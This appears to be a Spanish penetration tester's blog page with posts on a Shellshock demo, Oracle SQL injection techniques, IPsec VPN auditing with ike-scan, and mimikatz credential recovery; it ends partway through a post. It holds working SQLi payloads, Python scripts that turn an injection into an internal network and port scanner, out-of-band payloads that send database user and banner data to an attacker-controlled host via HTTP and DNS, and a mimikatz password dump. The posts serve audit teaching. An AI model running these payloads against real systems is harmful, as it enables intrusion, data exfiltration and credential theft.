21 de octubre de 2014

Demo Shellshock en el ISMS Forum

La semana pasada participé como ponente en el tercer Foro de Ciberseguridad del Spanish Cyber Security Institute, más conocido como ISMS Forum.

En la charla que di presenté un incidente de seguridad en el que estuve trabajando hace un mes para una empresa española que nos pidió colaboración para identificar el problema que habían tenido y recomendaciones a la hora de solucionarlo.

Como me habían pedido que hiciera alguna demostración, pero obviamente no podía dar datos reales, monté un par de entornos vulnerables sobre los que hacer las pruebas.

La primera de las demostraciones que hice fue para mostrar un par de las vulnerabilidad que tenían en la aplicación web que se comprometió. La primera de las vulnerabilidades consistía en la posibilidad de acceder a los datos personales de otros usuarios.

Esta vulnerabilidad es relativamente frecuente en muchas aplicaciones web y web services. Normalmente se debe a que se utiliza un identificador fácilmente predecible para determinar el registro, fichero o recurso en general que se tiene que mostrar. Hay un segundo aspecto que hace que se provoque la vulnerabilidad (además del identificador predecible) y es que no se gestionen correctamente los permisos de cada usuario, ya que la aplicación debería identificar y evitar que un usuario pudiera acceder a recursos que pertenecen a otro usuario.

La segunda vulnerabilidad que se muestra en el primero de los vídeos es una inyección de código SQL muy sencillita de explotar. Lo que iba buscando con esta demostración es demostrar lo fácil que puede llegar a ser explotar este tipo de vulnerabilidades y lo peligroso que resulta en caso de que se esté almacenando información de carácter confidencial en la base de datos (en la demo, se llegaban a mostrar números de tarjetas de crédito, con su CVV y su fecha de caducidad).

La primera demo se puede ver en el siguiente vídeo:


La segunda de las demos que hice fue para mostrar la vulnerabilidad de Shellshock explotada a través de un CGI hospedado en un servidor web.

Aunque esta vulnerabilidad no estaba del todo relacionado con el resto del contenido de mi charla, aproveché que uno de los ponentes anteriores había hablado de la vulnerabilidad largo y tendido pero no había llegado a realizar ninguna demo. Mi intención, por tanto, era hacer ver que algunas de las vulnerabilidades que se leen en Internet sí que son realmente fáciles de explotar sin ningún tipo de recursos especiales.

Ésta es la segunda demo:



Espero que las disfrutéis y podáis utilizarlas si tenéis que presentar este tipo de vulnerabilidades en algún tipo de ambiente.

10 de marzo de 2014

De una inyección SQL a un escáner de red

Hace poco, haciendo una auditoría web, encontré un parámetro que era vulnerable a SQL injection.

Tras un pequeño análisis, identifiqué que se trataba de un servidor Oracle y que no iba a ser fácil extraer información de la base de datos porque se ve que la inyección debía de estar en la llamada a un procedimiento almacenado.

Algo así como:

procedimiento_almacenado (parámetro_vulnerable);

Oracle, en esta sintaxis, no permite añadir consultas del tipo SELECT, así que realizar las típicas inyecciones para determinar el usuario de la base de datos, el nombre de ésta, qué tablas las forman... no iba a funcionar.

Tras probar muchas cosas, vi que sí que podía utilizar variables SYS_CONTEXT para recuperar variables del sistema relativas a la configuración ya que, aunque no podía hacer un:

SELECT user from DUAL;

Sí que podía (ojo, era una inyección de tipo numérico):

55 - (ASCII (SUBSTR (user,1,1)) - ASCII('U') )

O, del mismo modo:

55 - (ASCII (SUBSTR (SYS_CONTEXT('USERENV', 'CURRENT_USER'), 1, 1)) - ASCII('U') )

Con esto, no tenía acceso a los datos de la base de datos en sí, pero obtuve información principalmente relacionada con el entorno Oracle como usuarios, dirección IP del servidor, tipo de autenticación utilizada...

Ya estaba a punto de desesperarme y decidir que no podía llegar mucho más allá cuando me acordé de los procedimientos almacenados de los que os hablé en la entrada anterior: UTL_HTTP y UTL_INADDR.

Así que pensé: ¿qué pasará si digo de utilizar UTL_HTTP para acceder a otros puertos del servidor para intentar determinar si están o no abiertos? Algo en plan:
  • http://10.0.2.51:22
  • http://10.0.2.51:80
  • http://10.0.2.51:443
  • http://10.0.2.51:8080
  • http://10.0.2.51:1521
  • ...
Imaginad mi sorpresa cuando veo que efectivamente funcionaba. Es más, Oracle era tan bondadoso que me decía claramente si el puerto estaba o no abierto:

  • Error cuando el puerto estaba abierto:
java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-29263: HTTP protocol error ORA-06512: at line 1 at [...]

  • Error cuando el puerto estaba cerrado:
java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-12541: TNS:no listener ORA-06512: at line 1 at [...]


Creo que la siguiente pregunta que me hice es evidente... ¿Y si escaneo otros hosts de la red? Pues exactamente igual. En este caso, lo que hice fue siempre preguntar por el puerto 22 y observé las respuestas:

  • Cuando no existía el host:
java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-12543: TNS:destination host unreachable ORA-06512: at line 1 at [...]

Cuando existía el host en la red, el error que devolvía era alguno de los dos errores asociados a si el puerto estaba o no abierto.

Así que cogí y en un rato me hice mi propio escáner de puertos a través del SQLi que había encontrado. Éste es el resultado que puede servir como prueba de concepto:

Escaneo de red:

import requests

cookies = { "JSESSIONID" : "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" }
headers = { "Content-Type" : "application/x-www-form-urlencoded"}

i = 0

for i in range(254):
 r = requests.post ("http://www.example.com/vulnerable_page", "parametro_vulnerable=55 - (length (utl_http.request('http://10.0.2.%s:22/')) )" % str(i+1), cookies=cookies, headers=headers )

 if not "destination host unreachable" in r.text:
  print "Alive: 10.0.2.%s" % str(i+1)

Este script se ejecutará directamente:

$ python network_scan.py

Escaneo de puertos:

import requests
import sys

cookies = { "JSESSIONID" : "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" }
headers = { "Content-Type" : "application/x-www-form-urlencoded"}

topports = (26, 554, 32768, 8000, 8443, 2000, 1026, 179, 5060, 514, 10000, 6001, 81, 113, 548, 465, 1720, 199, 8888, 587, 1025, 5900, 993, 995, 111, 1723, 8080, 3306, 135, 53, 143, 139, 445, 110, 3389, 25, 22, 21, 443, 23, 80, 37, 119, 9100, 4899, 2717, 1755, 873, 1028, 49157, 5051, 6646, 9, 1029, 13, 1900, 3986, 5432, 3000, 5190, 7070, 5009, 9999, 444, 3128, 8009, 389, 7, 144, 5101, 544, 543, 49156, 427, 5357, 990, 513, 6000, 49155, 1110, 2121, 106, 5800, 79, 88, 2049, 8081, 49153, 631, 5631, 5000, 646, 5666, 1027, 49154, 8008, 515, 2001, 49152, 1433)

i = 0

for i in topports:
 r = requests.post ("http://www.example.com/vulnerable_page", "parametro_vulnerable=55 - (length (utl_http.request('http://%s:%s/')) )" % ( sys.argv[1], str(i)), cookies=cookies, headers=headers )

 if not "no listener" in r.text:
  print "Open port: %s" % str(i)


Este script, recibe la dirección IP a escanear como entrada. Por ejemplo:

$ python port_scan.py 10.0.2.51

Y de este modo conseguí que una vulnerabilidad que no hubiera pasado ni pena ni gloria, se convirtiera en algo interesante. Es más, con más tiempo podría haber intentado acceder a otros de los servicios que encontré abiertos (entre ellos un JBoss en un puerto 8080).

18 de febrero de 2014

¡Pero señor! ¡Este oráculo no está ciego!

De lo que quiero hablar en esta entrada es algo que puede que sea más que conocido por muchos de vosotros pero que es la base de lo que os quiero contar en otra entrada y que prometo será más interesante. ¡Ojo! Que esto lo es.

Todos sabemos que explotar una inyección de código SQL ciega (blind SQL injection) puede llegar a ser un coñazo. De primeras nos conviene utilizar alguna herramienta para automatizar la explotación, porque a mano puedes sacar un par de valores como el usuario o la base de datos... ¿pero habéis probado alguna vez a sacar registros de una tabla a mano? Obviamente es inviable. Al menos si tienes unos tiempos que cumplir. Es aquí cuando herramientas como sqlmap, sqlibf o tantas otras nos hacen la vida mucho más fácil.

Pero ok. Te paras. Consigues configurar la herramienta para que te pille la inyección que, a menos que te la haya sacado un escáner automático no va a ser trivial. La lanzas. ¿Y ahora qué? Esperar. Y esperar a que haga una media de 7-8 peticiones por carácter de la cadena que estés intentando sacar y eso en el mejor de los casos y que la herramienta esté utilizando una búsqueda dicotómica. Lo que se traduce en unas 100 peticiones de media por cadena básicas como nombre de usuario o base de datos. Ahora, como quieras sacar el banner completo... van a ser en torno a unas 300.

Puestos ya en escena, os quiero contar una técnica para hacer que una inyección "ciega" no sea tan ciega en Oracle. ¿Entiendes ahora el título del post?

UTL_HTTP

UTL_HTTP es un procedimiento almacenado de Oracle que permite realizar conexiones HTTP desde la propia base de datos. Y que, por suerte para nosotros, viene por defecto habilitado en la mayoría de versiones de la base de datos.

Lo único que tenemos que hacer es utilizarlo para que nos mande la información que le pedimos a un servidor web controlado por nosotros.

Os pongo un ejemplo de cómo nos podría mandar el nombre de usuario de la base de datos a nuestro servidor web utilizando tan sólo una petición (frente a las 100 de las que hablaba antes).

Supongamos que el parámetro inyectable es "id", con una inyección de tipo numérico, en la siguiente URL:

http://www.myfakedomain.com/vulnerablepage?id=500

En un caso normal, utilizaríamos payloads como:
  • id=500 and substr(USER,1,1) = 'a'
  • id=500 and substr(USER,1,1) = 'b'
  • id=500 and substr(USER,1,1) = 'c'
  • ...
  • id=500 and substr(USER,2,1) = 'a'
  • id=500 and substr(USER,2,1) = 'b'
  • ...
Sin embargo, si usamos el siguiente payload, nos mandará el nombre del usuario al completo a nuestro servidor web:

id=500 and UTP_HTTP.request('http://www.myserver.com/' || USER) is not NULL

Y, consultando los logs del servidor podremos ver una petición de la siguiente forma:

10.0.2.2 - - [16/Feb/2014:20:09:48 +0100] "GET /PROD_USER HTTP/1.1" 404 484 "-" "Mozilla/5.0 ..."

De donde sacamos que el nombre de usuario es "PROD_USER".

Como veis, con una simple petición, es suficiente para que obtengamos la información que necesitamos. Incluso se pueden concatenar varias consultas en la misma petición, ahorrando más tiempo y esfuerzo.

UTL_INADDR

Si el procedimiento UTL_HTTP estuviera deshabilitado o directamente no funcionara por cualquier motivo (como que el servidor de base de datos tenga el acceso web filtrado), existe un segundo procedimiento almacenado que nos puede ser igualmente útil: UTL_INADDR. Este otro procedimiento es equivalente al anterior pero para realizar consultas DNS.

En esta ocasión, por tanto, si controlamos algún dominio, podemos hacer que el servidor Oracle nos haga una petición DNS como la siguiente:

PROD_USER.myserver.com

Para ello, tendremos que utilizar un payload como el siguiente:

id=500 and UTL_INADDR.GET_HOST_ADDRESS(USER || '.myserver.com') is not NULL

Como veis, es igual de útil. Aunque tened en cuenta que el protocolo DNS tiene ciertas restricciones como que los nombres de dominio no pueden contener espacios. Así que si intentamos sacar el banner de la base de datos, es más que posible que no nos llegue completo o directamente no se realice ninguna consulta DNS.

Para ello, siempre se pueden utilizar funciones como "replace":

id=500 and UTP_INADDR.GET_HOST_ADDRESS( (SELECT REPLACE(banner, ' ') FROM v$version WHERE banner LIKE 'Oracle%') ||'.myserver.com') is not NULL

Útil, ¿no? Espero que la próxima vez que tengáis una inyección SQL ciega en un Oracle os acordéis de estas técnicas para ahorraros tiempo y recursos.


10 de febrero de 2014

Auditando VPNs (V): Modo Agresivo

  ****************************************************
    Auditando VPNs (I): Introducción a IPsec
    Auditando VPNs (II): Enumeración
    Auditando VPNs (III): Fingerprinting
    Auditando VPNs (IV): Cifrado
    Auditando VPNs (V): Modo Agresivo
  ****************************************************

Como ya comenté en la primera entrada de esta serie, el modo agresivo (Aggressive Mode) se suele utilizar en combinación con el mecanismo de autenticación PSK (Pre-Shared Key) y es la alternativa al Main Mode. Según el estándar, el main mode debería estar implementado en todos los concentradores de VPN, mientras que el aggressive mode es opcional.

La principal diferencia entre ambos modos es que el modo agresivo es más simple y requiere menos intercambios de mensajes entre el cliente y el servidor para establecer la conexión. Esta ventaja se traduce en un descenso de la seguridad ofrecida por el modo principal. Veamos por qué:

La siguiente secuencia muestra el intercambio de claves en modo principal (main mode) con PSK:

      Initiator                     Responder
     -----------                   -----------
      HDR, SA             -->
                          <--      HDR, SA
      HDR, KE, Ni         -->
                          <--      HDR, KE, Nr
      HDR*, IDii, HASH_I  -->
                          <--      HDR*, IDir, HASH_R

Los primeros dos mensajes negocian la política (el conjunto de atributos que se van a utilizar, la transformada). Los siguientes dos mensajes se usan para intercambiar los valores públicos para la negociación Diffie-Hellman y otra información secundaria. Los últimos dos valores, que ya van cifrados (los denota el *), autentican el intercambio DH.

La secuencia siguiente muestra la misma negociación pero en modo agresivo (aggressive mode):

      Initiator                     Responder
     -----------                   -----------
    HDR, SA, KE, Ni, IDii -->
                          <-- HDR, SA, KE, Nr, IDir, HASH_R
    HDR, HASH_I           -->

En este caso, los primeros dos mensajes hacen la función de los cuatro primeros mensajes del intercambio en el modo principal, así que sirven para negociar la política, intercambiar los valores públicos DH, la información secundaria y los identificadores mutuos. Además, el segundo mensaje ya autentica al "Responder" (el servidor de VPN). El tercer y último mensaje autentica al "Initiator" y proporciona la "prueba de participación" en el intercambio.

Como se puede observar, en la primera secuencia, los hashes se envían cifrados (recuerda el *), mientras que en la segunda secuencia todo se envía en texto claro. Estos hashes son los que se utilizan para la autenticación ya que consisten (a grandes rasgos) en una función HMAC usando como clave la clave compartida (PSK) y cifrando, entre otras cosas, el token nonce (Ni/Nr).

Por tanto, si se utiliza el modo agresivo, el hash del servidor se puede capturar fácilmente de la red y se puede intentar romper. De conseguirlo, habríamos recuperado la clave compartida (PSK). Después de eso, utilizando algún cliente de VPN como PGPNet podríamos conectarnos sin ningún problema a la red a la que se accede por la VPN.

Como podrás imaginar, el modo agresivo es uno de los aspectos más críticos a la hora de analizar la seguridad de un concentrador de VPN basado en IPsec.

Otra de las diferencias entre ambos modos es que, a diferencia de cómo funciona el modo principal, muchos concentradores de VPN tan sólo responden a una petición de entablar conexión utilizando el modo agresivo si se ha especificado un identificador de grupo válido (el IDii de las peticiones de arriba). Este identificador suele ser un nombre de usuario, un email, una dirección IP...

¿En qué se traduce esto en la práctica para nosotros como auditores? Pues que si no enviamos un ID válido, podríamos no estar detectando que el modo agresivo está activo en un concentrador de VPNs y esto podría complicar la enumeración de dispositivos que soporten dicho modo.

Para especificar que debemos utilizar el modo agresivo cuando tratamos de conectarnos con el ike-scan, se utiliza la opción: --aggressive. Para indicar un ID, se usa la opción --id, aunque si no se especifica nada, ike-scan usa él solito el nombre o la dirección IP del servidor como ID.

Veamos el siguiente ejemplo:

$ sudo ike-scan -M --aggressive 10.48.226.227
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.48.226.227   Aggressive Mode Handshake returned
        HDR=(CKY-R=aa780a03dd39566b)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        VID=5fbfad1edd38566bbd15132b1455935a
        VID=09002689dfd6b712 (XAUTH)
        KeyExchange(128 bytes)
        ID(Type=ID_IPV4_ADDR, Value=10.48.226.227)
        Nonce(20 bytes)
        Hash(20 bytes)

Ending ike-scan 1.9: 1 hosts scanned in 0.235 seconds (4.26 hosts/sec).  1 returned handshake; 0 returned notify

Si te fijas bien en la captura anterior, verás varios campos que no habían salido en las capturas que llevo puestas hasta la fecha:
  • ID: como no se especificó nada, ike-scan ha utilizado la dirección IP del servidor (10.48.226.227). 
  • Nonce: es el desafío que se utiliza para autenticar a ambos extremos (lo que va firmado con el hash).
  • Hash: es el valor que autentica al servidor. 
Como ya se me ha quedado un poco larga esta entrada explicando por qué el modo agresivo es más inseguro que el modo principal, dejaré el cómo romper (o tratar de hacerlo) el hash para la próxima entrada ;)




27 de enero de 2014

Auditando VPNs (IV): Cifrado

  ****************************************************
    Auditando VPNs (I): Introducción a IPsec
    Auditando VPNs (II): Enumeración
    Auditando VPNs (III): Fingerprinting
    Auditando VPNs (IV): Cifrado
    Auditando VPNs (V): Modo Agresivo
  ****************************************************

Después del gran parón que he sufrido durante un año, continúo con la auditoría de VPN basadas en IPsec por donde lo dejé. En esta entrega toca hablar de los cifrados soportados por el servidor/concentrador de VPNs.

Cuando un cliente trata de conectarse a un servidor, lo hace utilizando una determinada combinación de parámetros, que se conoce como transformada (transform). Existen un total de 16 atributos que se pueden configurar, aunque los más frecuentes son:
  • Algoritmo de Cifrado (1)
  • Algoritmo de Hash (2)
  • Método de Autenticación (3)
  • Grupo Diffie-Hellman (4)
Nota: Observa el número que he puesto entre paréntesis, porque lo vamos a utilizar luego, ya que las transformadas se definen asignando un valor a cada variable que se representa por dicho número.

Otros posibles atributos son: Group Prime/Irreducible Polynomial, Group Generator One and Two, Group Curve A and B, Life Type, Life Duration...

Cada parámetro se puede configurar con una serie de valores predefinidos que depende de la versión del protocolo que se esté utilizando. La versión 2 de IKE, por ejemplo, soporta más algoritmo de cifrado que la versión 1. Por otro lado, no todos los algoritmos tienen por qué estar soportados en el servidor de VPNs.

Las siguientes tablas muestran los valores más frecuentes de los cuatro parámetros principales (consulta la especificación para las tablas completas):

Valor Algoritmo  Comentario 
1 DES Común
2 IDEA Muy raro
3 Blowfish Raro
4 RC5 Muy raro
5 Triple DES   Común
6 CAST Raro
7 AES Común
8 Camellia Muy raro
Algoritmos de cifrado


Valor Algoritmo  Comentario 
1 MD5 Común
2 SHA1 Común
3 Tiger Raro
4 SHA2-256 Raro
5 SHA2-384 Raro
6 SHA2-512  Raro
Algoritmos de hash


Valor Algoritmo  Comentario 
1  Pre-Shared Key (PSK)  Común
2 DSS Signature Muy raro
3 RSA Signature Común
4 RSA Encryption Muy raro
5   Revised RSA Encryption   Muy raro
64221 Hybrid Mode Común
65001 XAUTH Común
Métodos de Autenticación


Valor Algoritmo  Comentario 
1 MODP 768   Común
2   MODP 1024   Común
3 EC2N 155 Muy raro
4 EC2N 185 Muy raro
5 MODP 1536 Raro
Grupos Diffie-Hellman

Una vez visto los valores más comunes, vamos a ver cómo especificar una determinada transformada con ike-scan. Para ello usaremos el parámetro "--trans". Fíjate en los siguientes ejemplos:

--trans=7/256,2,1,2 -> SA=(Enc=AES KeyLength=256 Hash=SHA1 Auth=PSK Group=2:modp1024)

Si no se especifica directamente, el primer atributo será el algoritmo de cifrado, el segundo el de hash y así... En el orden de los números de los que hablaba al principio del post.

--trans="(1=5,2=2,3=3,4=2)" -> SA=(Enc=3DES Hash=SHA1 Auth=RSA_Sig Group=2:modp1024)

--trans="(4=2,3=3,2=2,1=5)" -> SA=(Group=2:modp1024 Auth=RSA_Sig Hash=SHA1 Enc=3DES)

Si queremos tan sólo definir algún parámetro o queremos definir la transformada en el orden que nos parezca bien, entonces asignamos directamente el valor que nos interese a la variable en cuestión indicando su número (1=5 significa que como algoritmo de cifrado (1), elegimos 3DES (valor 5 en la tabla)).

Ahora os estaréis preguntando: ¿y todo esto para qué? Pues la respuesta es sencilla. Del mismo modo que en SSL se suele recomendar no utilizar cifrados que se consideran débiles, en IPsec tampoco es recomendable utilizar ciertos algoritmos. En concreto se desaconsejan los siguientes algoritmos:
  • DES como algoritmo de cifrado.
  • MD5 como algoritmo de hash.
  • MOD768 como grupo Diffie-Hellman.
Y para comprobarlo, me temo que no queda otra que crear muuuuuchas combinaciones para ver si alguna acepta alguno de estos algoritmos. Es decir, DES puede estar siendo aceptado con SHA1 y MOD1024, por ejemplo, pero no con MD5 y MOD768 directamente.

Por otro lado, si recuerdas lo que comentaba en la entrada sobre enumeración, muchas veces somos capaces de identificar el servicio pero no encontramos una transformada que la acepte el servidor.

Así que para realizar varias transformadas de manera cómoda, yo suelo utilizar un script similar al siguiente:

#!/bin/sh
#
# Encryption algorithms: DES, Triple-DES, AES/128, AES/192 and AES/256
ENCLIST="1 5 7/128 7/192 7/256"
# Hash algorithms: MD5 and SHA1
HASHLIST="1 2"
# Authentication methods: Pre-Shared Key, RSA Signatures, Hybrid Mode and XAUTH
AUTHLIST="1 3 64221 65001"
# Diffie-Hellman groups: 1, 2 and 5
GROUPLIST="1 2 5"
#
for ENC in $ENCLIST; do
   for HASH in $HASHLIST; do
      for AUTH in $AUTHLIST; do
         for GROUP in $GROUPLIST; do
            echo >> $2
            echo "Transform: $ENC,$HASH,$AUTH,$GROUP" >> $2
            ike-scan --trans=$ENC,$HASH,$AUTH,$GROUP -M $1 >> $2
         done
      done
   done
done

Lo único que hace este script es probar varias transformadas e ir almacenando todos los resultados en un fichero. Se ejecutaría de la siguiente manera:

# script.sh 10.0.0.2 fichero_resultados.txt

Luego, mirar el fichero a mano puede ser un poco lata, así que basta tirar de grep para sacar los resultados que realmente nos interesan:

$ cat fichero_resultados.txt | grep -B 4 "SA="

Y así tendremos el listado de todas las transformadas aceptadas por el concentrador de VPNs.

¡Ojo! El script está hecho para probar los algoritmos más comunes. Si quisieras probar más o menos basta con que modifiques el valor de las variables ENCLIST, HASHLIST, AUTHLIST y GROUPLIST.


16 de enero de 2013

Recuperando contraseñas de red Windows con mimikatz

Los que me conocen, saben que mimikatz es una de mis herramientas favoritas a la hora de sacar contraseñas y otra información útil de un sistema Windows. Y esto es debido a que Gentil Kiwi (el autor) no para de mejorarla, investigando nuevas "funcionalidades" que Microsoft no reconoce como vulnerabilidades pero que son un riesgo para la seguridad de los usuarios.

Hasta hace poco, mimikatz tan sólo mostraba en texto claro las contraseñas de los usuarios que hubieran iniciado una sesión interactiva en el equipo (iniciando sesión localmente, a través de escritorio remoto...). Hace una semana, se publicó una nueva versión que permitía recuperar las contraseñas que se han utilizado para crear alguna tarea programada y cualquier contraseña de tipo CRED_TYPE_DOMAIN_PASSWORD, esto incluye contraseñas que se hayan utilizado para crear tareas programadas, sesiones guardadas de RDP..., y hoy he podido probar una última versión, que permite obtener las contraseñas que se utilizan al conectarse a un sistema remoto sin llegar a iniciar sesión, por ejemplo, si nos conectamos a una unidad de red remota.

Ésta es una funcionalidad muy esperada porque puede servir para recuperar más credenciales de un sistema una vez comprometido. El problema que le he visto, es que se recuperan las credenciales de los sistemas a los que nos conectamos desde el equipo comprometido, pero no la de las cuentas que se conectan a dicho equipo. Es decir, que si se comprometiera un servidor de ficheros, no podríamos recuperar las contraseñas de todos los usuarios conectados al mismo. Pero por el contrario, si se compromete una estación de trabajo de un administrador que tiene diferentes contraseñas con las que conectarse a diferentes recursos de red, podremos recuperar todas esas contraseñas.

De momento habrá que aprovechar la nueva funcionalidad mientras esperamos algo que nos permita recuperar las credenciales de las cuentas conectadas a un equipo.

La prueba que he hecho ha sido conectarme desde un sistema Windows (TEST) a un segundo (PRUEBAS01) y ejecutar después mimikatz en TEST. Éste ha sido el resultado:

C:\>mimikatz.exe
mimikatz 1.0 x86 (RC)   /* Traitement du Kiwi (Jan 15 2013 06:20:17) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # sekurlsa::ssp

Authentification Id         : 0;997
Package d'authentification  : Negotiate
Utilisateur principal       : SERVICIO LOCAL
Domaine d'authentification  : NT AUTHORITY
        ssp :

Authentification Id         : 0;38685
Package d'authentification  : NTLM
Utilisateur principal       : TEST
Domaine d'authentification  : TEST-863C3D4E8A
        ssp :
         [0] { admin ; PRUEBAS01 ; EstaEsMiPassword123 }

Authentification Id         : 0;996
Package d'authentification  : Negotiate
Utilisateur principal       : Servicio de red
Domaine d'authentification  : NT AUTHORITY
        ssp :

Authentification Id         : 0;31314
Package d'authentification  : NTLM
Utilisateur principal       :
Domaine d'authentification  :
        ssp :

Authentification Id         : 0;999
Package d'authentification  : NTLM
Utilisateur principal       : TEST-863C3D4E8A$
Domaine d'authentification  : GRUPO_TRABAJO
        ssp :

mimikatz #

Como se puede ver, mimikatz lista los recursos externos en los que hay una sesión iniciada y las credenciales que se han utilizado para conectarse.

¡Ojo! Ahora mismo, esta nueva funcionalidad tan sólo obtiene las credenciales utilizadas para conectarse a otros sistemas en los procesos de autenticación que se haya utilizado NTLM como protocolo. Es decir, que si en una red local, las conexiones remotas se negocian a través de Kerberos, mimikatz no podrá sacar las credenciales en claro.

Interesante, ¿no?

26 de noviembre de 2012

Auditando VPNs (III): Fingerprinting

  ****************************************************
    Auditando VPNs (I): Introducción a IPsec
    Auditando VPNs (II): Enumeración
    Auditando VPNs (III): Fingerprinting
    Auditando VPNs (IV): Cifrado
    Auditando VPNs (V): Modo Agresivo
  ****************************************************

Una vez que hemos detectado que la VPN se está ejecutando, conviene saber el tipo de dispositivo con el que estamos trabajando.

Existen dos mecanismos principales para identificar el tipo de servidor que está ejecutando el servicio de VPN. El primero de ellos consiste en la manera que tiene el servidor de responder a las peticiones de un cliente de establecer una conexión con él. Me explico...

IKE funciona bajo UDP, que es un protocolo no orientado a conexión. Por este motivo, no hay ninguna manera de saber si un paquete ha llegado a su destinatario más allá que esperar a recibir la respuesta a dicho paquete. Si la respuesta no se recibe, se puede entender que el paquete se perdió, en cuyo caso podría ser necesario reenviarlo.

El primer método de fingerprinting, por tanto, consiste en enviar un paquete al servidor y esperar su respuesta. En una conexión normal, el cliente debería continuar la comunicación con el servidor pero, ¿qué pasa si no se continúa? El servidor esperará un tiempo determinado y reenviará el paquete. Así un número determinado de veces hasta que deje de intentarlo.

La RFC de IKE no establece cómo se debe llevar a cabo el reenvío de paquetes (backoff en inglés), por lo que cada fabricante implementa su propio algoritmo, cambiando los tiempos entre un reenvío y el siguiente y el número de reenvíos total. Esto permite identificar el tipo de servidor que está ofreciendo el servicio de VPN.

A este mecanismo se le conoce como UDP Backoff Fingerprinting.

Ike-scan tiene una base de datos con los diferentes tiempos de respuesta de diferentes fabricantes, por lo identificar el fabricante puede resultar bastante sencillo con la opción --showbackoff:

$ sudo ike-scan --showbackoff  --multiline 10.48.226.227
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.48.226.227   Main Mode Handshake returned
        HDR=(CKY-R=a7a845233446a9e5)
        SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)
        VID=4f45755c645c6a795c5c6170
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

IKE Backoff Patterns:

IP Address      No.     Recv time               Delta Time
10.48.226.227   1       1351694781.627450       0.000000
10.48.226.227   2       1351694791.638280       10.010830
10.48.226.227   3       1351694811.659880       20.021600
10.48.226.227   Implementation guess: Linux FreeS/WAN, OpenSwan, strongSwan

Ending ike-scan 1.9: 1 hosts scanned in 90.134 seconds (0.01 hosts/sec).  1 returned handshake; 0 returned notify

Hay que tener paciencia con este comando, ya que el reenvío entre paquetes puede tardar bastante. Si te fijas en la columna "Delta Time", el primer reenvío se hace tras esperar 10 segundos, pero entre el segundo y el tercero, el servidor se espera 20 segundos.

Finalmente, ike-scan determina que el servicio VPN lo está ofreciendo Linux FreeS/WAN, OpenSwan ó strongSwan. Como aporte decir que, al menos en este caso, no se equivoca ya que el servidor con el que realicé las pruebas es un OpenSwan.

El segundo mecanismo para identificar el tipo de servidor que está ejecutando el servicio VPN está ligado al Vendor ID o VID.

El VID es un identificador único que determina la implementación de IKE que está siendo usada. Cada fabricante (vendor) utiliza un VID único, por lo que conociéndolo debería ser suficiente para identificarlo.

En el ejemplo anterior, el VID es "4f45755c645c6a795c5c6170" que, si buscamos en Internet podemos comprobar que está asociado a OpenSwan.

Así parece sencillo identificar el fabricante. El problema es que lo habitual es que el servidor no indique el VID a menos que el cliente lo envíe previamente y, para ello, hay que conocer el fabricante. En la documentación oficial de ike-scan se puede obtener un listado de VIDs con los que probar:

http://www.nta-monitor.com/wiki/index.php/IKE_Implementation_Analysis

La opción "--vendor" de ike-scan permite indicar el fabricante con el que queremos probar a la espera de que sea el usado por el servidor y éste nos lo confirme devolviéndolo de nuevo en su respuesta.


4 de noviembre de 2012

Auditando VPNs (II): Enumeración

  ****************************************************
    Auditando VPNs (I): Introducción a IPsec
    Auditando VPNs (II): Enumeración
    Auditando VPNs (III): Fingerprinting
    Auditando VPNs (IV): Cifrado
    Auditando VPNs (V): Modo Agresivo
  ****************************************************

Tras el rápido repaso que hice sobre IPsec en la entrada anterior, vamos a ver cómo identificar un concentrador/servidor de VPNs basado en IPsec.

Por defecto, el protocolo IKE se ejecuta en el puerto 500 UDP, por lo que en principio un simple escáner de puertos debería bastar para identificarlo:

$ sudo nmap -sU -p 500 -P0 -n -sV 10.48.226.227

Starting Nmap 6.02 ( http://nmap.org ) at 2012-10-31 16:25 CET
Nmap scan report for 10.48.226.227
Host is up (0.00088s latency).
PORT    STATE SERVICE VERSION
500/udp open  isakmp
MAC Address: 08:00:27:12:F5:94 (Cadmus Computer Systems)

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds

Nmap nos dice que el servicio está ahí, pero no nos aporta mucha más información. Herramientas más específicas como ike-scan o IKEProbe nos pueden aportar más información de una sola pasada:

$ sudo ike-scan  --multiline 10.48.226.227
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.48.226.227   Main Mode Handshake returned
        HDR=(CKY-R=8d0a997d0846794f)
        SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)
        VID=4f45755c645c6a795c5c6170
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (66.44 hosts/sec).  1 returned handshake; 0 returned notify

Nota: La opción --multiline (-M) de ike-scan tan sólo sirve para que la información la presente en varias líneas y seas más legible.

En el ejemplo anterior, vamos que se ha podido establecer una conexión utilizando el Main Mode. Además, se han negociado los atributos que se utilizarían para definir el túnel (Security Association ó SA) que se utilizará en la segunda fase del protocolo IKE.

Los atributos seleccionados son 3DES como algoritmo de cifrado, SHA1 como algoritmo de hash, PSK como método de autenticación y el grupo 2 (modp1024) para el algoritmo Diffie-Hellman. Al conjunto de todos los atributos se le denomina transform.

Sin embargo, no siempre obtenemos una respuesta parecida a la anterior cuando lanzamos ike-scan. Veamos un ejemplo:

$ sudo ike-scan --multiline 10.48.226.228
